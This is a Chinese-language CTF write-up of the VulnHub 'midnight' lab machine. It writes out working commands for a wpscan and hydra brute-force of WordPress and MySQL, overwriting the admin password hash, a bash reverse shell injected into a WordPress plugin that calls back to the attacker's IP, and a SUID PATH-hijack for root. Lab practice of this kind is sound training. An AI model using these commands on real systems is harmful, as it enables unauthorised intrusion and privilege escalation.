0%

VulnHub靶机writeup--midnight

前言

再来一个靶机,做完这个最近换点东西写,感觉这些靶机做多了也是套路,之后做的整点难度高点的,比如这个靶机难度比之前高点,学的东西也多一点。

正文

上来老传统,收集一波信息

kali:192.168.1.185

靶机:192.168.1.242

靶机开放22,80,3306端口

打开web页面,url变为http://sunset-midnight/,路径/etc/hosts修改下host信息,再次打开web页面,发现是wordpress搭建的,用wpscan扫一下

wpscan --url http://sunset-midnight/ -e

没有值得关注的部分,发现一个用户名adminwpscan尝试爆破一下

wpscan --url http://sunset-midnight/ -U admin -P /usr/share/wordlists/rockyou.txt

在爆破的同时查看下其他突破点,靶机开放3306mysql端口,用hydra爆破下root用户密码

hydra 192.168.1.242 mysql -l root -P /usr/share/wordlists/rockyou.txt

wYwJqs.png

爆破出来密码为robert ,连接一波

mysql -u root -p -h sunset-midnight

wYwWi6.png

wordpress_db数据库中的wp_users表中看到admin用户密码

wY0AYV.png

这里密码难以破解,可以update更新一个新的密码MD5覆盖掉原来密码

wY0IhV.png

这个时候就可以登陆wordpress了,可以通过Plugins中的Plugin Editor中编辑插件,加入一个反弹shell,这里选择Hello Dolly,在代码前加入system("/bin/bash -c 'bash -i &> /dev/tcp/192.168.1.185/9527 0>&1'");

wYDQG6.png

选择Update File,在本地设置好监听,然后在Installed Plugins中将Hello Dolly点击Activate

wYr8f0.png

成功反弹出一个www-data的shell,在shell中寻找有用信息时,在网站根目录下的wordpress目录看到wp-config.php,在其中看到一个账户密码

wYy2od.png

正好在/home/路径下也看到靶机上有个jose用户,尝试是否用密码复用,ssh连接一下

wYyXYn.png

成功连上,获取到了jose权限

这个时候,靶机已经做到最后一步——提权到root用户,这个靶机用到了SUID提权的方式,这个之前没有学习过,趁此机会学习了一波

wYcKg0.png

找一下具有SUID权限的文件,这个看到这个/usr/bin/status这个文件有点问题,拉下来反汇编看下

wYOCng.png

了解到了/usr/bin/status这个文件的内容,接下来利用其获取到root权限

首先在/tmp目录下创建一个service文件,写入bash

echo "/bin/bash" > /tmp/service

然后给与service文件执行权限

chmod u+x /tmp/service

设置环境变量加入/tmp/目录

export PATH=/tmp:$PATH

然后执行/bin/status

wYgkxx.png

成功获取到了root权限,取得flag

wYgmZD.png

总结

这个靶机整体难度比之前高一点,练习这个靶机也学习到了很多,在web没有突破口的时候,尝试爆破3306端口,取得了root权限的数据库,同时覆盖掉wordpress的用户密码,进入了web端的后台管理界面,因为是admin用户,就可以对插件代码进行修改,加入了反弹shell,本地就获取到靶机的低权限shell,对网站配置文件的查看获取到一个靶机用户shell,然后用SUID提权到root。靶机整体思路比较明晰,也验证了安全是整体的,只要有一个点不安全就能突破防线。